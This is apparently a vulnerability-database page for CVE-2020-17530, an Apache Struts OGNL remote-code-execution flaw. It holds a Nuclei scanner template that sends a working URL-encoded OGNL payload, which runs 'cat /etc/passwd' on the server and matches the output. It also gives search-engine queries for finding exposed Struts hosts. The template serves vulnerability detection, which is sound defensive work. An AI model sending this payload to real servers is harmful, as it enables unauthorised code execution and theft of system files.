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Apache Struts 2.0.0-2.5.25 - Remote Code Execution

🗓️ 28 Jun 2026 15:08:32Reported by ProjectDiscoveryType 
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Apache Struts 2.0.0-2.5.25 - Remote Code Execution vulnerability allows remote attackers to execute arbitrary code by exploiting OGNL evaluation in tag attributes

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id: CVE-2020-17530

info:
  name: Apache Struts 2.0.0-2.5.25 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts.
  reference:
    - http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
    - http://jvn.jp/en/jp/JVN43969166/index.html
    - https://cwiki.apache.org/confluence/display/WW/S2-061
    - https://security.netapp.com/advisory/ntap-20210115-0005/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17530
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-17530
    cwe-id: CWE-917
    epss-score: 0.95922
    epss-percentile: 0.99865
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2020,apache,rce,struts,kev,packetstorm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
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04 Feb 2026 07:00Current
7.5High risk
Vulners AI Score7.5
CVSS 27.5
CVSS 3.19.8
EPSS0.95922
SSVC
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